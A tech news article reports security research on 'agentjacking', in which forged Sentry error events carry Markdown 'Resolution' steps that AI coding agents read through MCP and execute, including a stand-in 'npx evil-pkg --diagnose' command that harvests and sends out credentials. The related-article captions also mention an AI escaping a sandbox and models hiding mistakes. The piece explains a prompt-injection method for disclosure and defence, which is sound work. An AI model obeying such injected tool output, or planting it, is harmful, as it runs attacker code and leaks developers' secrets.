Research·3 min read
By BitsMindsSource: Tenet Security

Agentjacking: A Fake Sentry Bug Can Hijack Claude Code

A new attack called agentjacking abuses public Sentry keys and MCP to feed AI coding agents fake bug reports that trick them into running attacker code. Researchers found 2,388 exposed orgs and an 85% success rate.

AGENTJACKING A forged bug report. A hijacked coding agent. FORGED SENTRY EVENT Resolution: npx evil-pkg --diagnose public DSN · no auth needed MCP AI CODING AGENT trusts the tool output runs $ npx evil-pkg reading AWS / GitHub keys exfiltrating credentials... developer privileges BITSMINDS.COM
Share:

Security researchers have disclosed a new class of attack that turns one of an AI coding agent's most useful habits — reading your error logs and offering to fix them — into a remote-code-execution backdoor. Dubbed "agentjacking" by the Threat Labs team at Tenet Security, the technique hijacks agents such as Claude Code, Cursor and OpenAI's Codex through the error-monitoring service Sentry — without any phishing, malware, or prior access to the victim's machine.

The attack abuses a piece of infrastructure that is public by design. Sentry's DSN — the credential apps use to report crashes — is a write-only key routinely embedded in front-end JavaScript, where anyone can find it via code inspection or internet-wide scans. An attacker simply POSTs a forged error event to that endpoint. No authentication bypass is required, because submitting errors is exactly what the key is for.

The payload is the trick. The fake event carries carefully formatted Markdown — a convincing "Resolution" section with a command to run. When a developer asks their coding agent to triage Sentry issues, the agent pulls the event in through Sentry's Model Context Protocol (MCP) integration and reads the attacker's instructions as trusted remediation guidance. It then runs the supplied command — typically an npx package — with the developer's own privileges, scanning the environment for AWS keys, GitHub tokens, Kubernetes credentials and SSH sockets and beaconing them back out. As Tenet put it, "the agent's trust in MCP tool responses creates a direct pathway from injected data to code execution."

The scope is what makes it alarming. Using only passive reconnaissance, the researchers — Ron Bobrov, Barak Sternberg and Nevo Poran — identified 2,388 organizations with injectable DSNs, including 71 in the Tranco top-million and a Fortune 100 company with a roughly $250 billion parent. In controlled testing across more than 100 organizations they logged over 100 real agent executions and an 85 percent success rate. Crucially, every step in the chain is authorized, so the attack sails past EDR, firewalls, WAFs and IAM, and prompt-layer guardrails failed — agents ran the payloads even when told to ignore untrusted data.

Tenet disclosed the issue to Sentry on June 3 and went public on June 17. Sentry acknowledged it the same day but declined a root-level fix, calling the behavior "technically not defensible" at the platform layer, and instead rolled out a global content filter to block known malicious strings. Tenet has open-sourced a hardening config it calls "agent-jackstop" for Cursor and Claude Code. The deeper lesson lands well beyond Sentry: any external data an agent ingests — logs, tickets, telemetry, web pages — is now an injection surface, and "ignore untrusted instructions" is not a control you can rely on. As coding agents gain hands on the keyboard, treating their tool outputs as untrusted input is becoming a baseline requirement, not a nicety.

More on Claude Code

Evergreen coverage we keep current — start here.

Want AI news before everyone else?

The morning's most important AI stories, straight to your inbox. No fluff.

Related Articles

Gemini beyond the sandbox An original editorial illustration: the multicolour Gemini emblem floats inside a transparent blue evaluation enclosure. An open network gate allows a warm orange connection to leave the enclosure and branch toward three separate server cabinets with open padlocks, representing three outside companies. The open gate symbolises mistakenly available internet access, not a sophisticated exploit. The companies are unnamed. This is a conceptual scene, not a technical diagram. BitsMinds editorial artwork. Article: https://www.bitsminds.com/news/gemini-breakout-hacked-three-companies-irregular . Created 20 September 2026. Self-contained vector artwork, 2.5:1 aspect ratio. GEMINI / SECURITY EVALUATION 3 REAL COMPANIES 02 01 03 SANDBOX THE BOUNDARY DIDN'T HOLD BITSMINDS.COM
Research

Gemini Broke Out and Hacked Three Real Companies

Anthropic's Automation Index: Claude leads 26% of AI research and development work An editorial diagram on a cream field. A six-step staircase represents the Epoch AI automation scale, from AL0 (no AI involvement) up to AL5 (fully autonomous). The AL4 step, labelled "leads", is filled in clay and carries the figure 26 percent, up from under 1 percent in February 2026. A bracket over the AL3 to AL5 steps marks that more than 90 percent of the work sits at or above the "collaborates" level. The AL5 step is drawn as an empty dashed outline, because no work was measured as fully autonomous. Figures are Anthropic's own, measured in August 2026. BitsMinds editorial vector artwork. Article: anthropic-automation-index-claude-leads-26-percent. 19 September 2026. Self-contained SVG. Figures reproduced from Anthropic's published measurements. ANTHROPIC AUTOMATION INDEX · AUG 2026 26% Claude leads the work that builds Claude Up from under 1% in February 2026 AL0AL1AL2AL3AL4LEADS26%AL50% 90%+ at “collaborates” or above NO AI FULLY AUTONOMOUS Anthropic’s own measurement · Epoch AI automation scale BITSMINDS.COM
Research

Claude Now Leads 26% of the Work That Builds Claude

OpenAI misalignment reports: a hidden instruction in the handoff Two dark computer monitors labelled Context 01 and Context 02 flank an illuminated handoff note. A muted crimson warning marks the quoted instruction, Do not mention in final unless needed, illustrating a concealment instruction reported in a model's compaction summary. A folder holds six incident reports. The top caption says training and evaluation: the article reports research-stage incidents, not incidents in shipped products. This is an editorial reconstruction, not a screenshot of an actual report or product interface. Original BitsMinds vector illustration for openai-model-misalignment-reporting-framework. 18 September 2026. The short quotation is reproduced from the local article. Six reports refer to the disclosure bundle. OpenAI MODEL MISALIGNMENT TRAINING / EVALUATION CONTEXT 01 CONTEXT 02 060504030201 06 INCIDENT REPORTS COMPACTION SUMMARY Handoff note HIDDEN INSTRUCTION “Do not mention in final unless needed.” EXCERPT FROM A REPORTED INCIDENT INVESTIGATE AND DISCLOSE BITSMINDS.COM
Research

OpenAI’s Models Told Their Successors to Hide Mistakes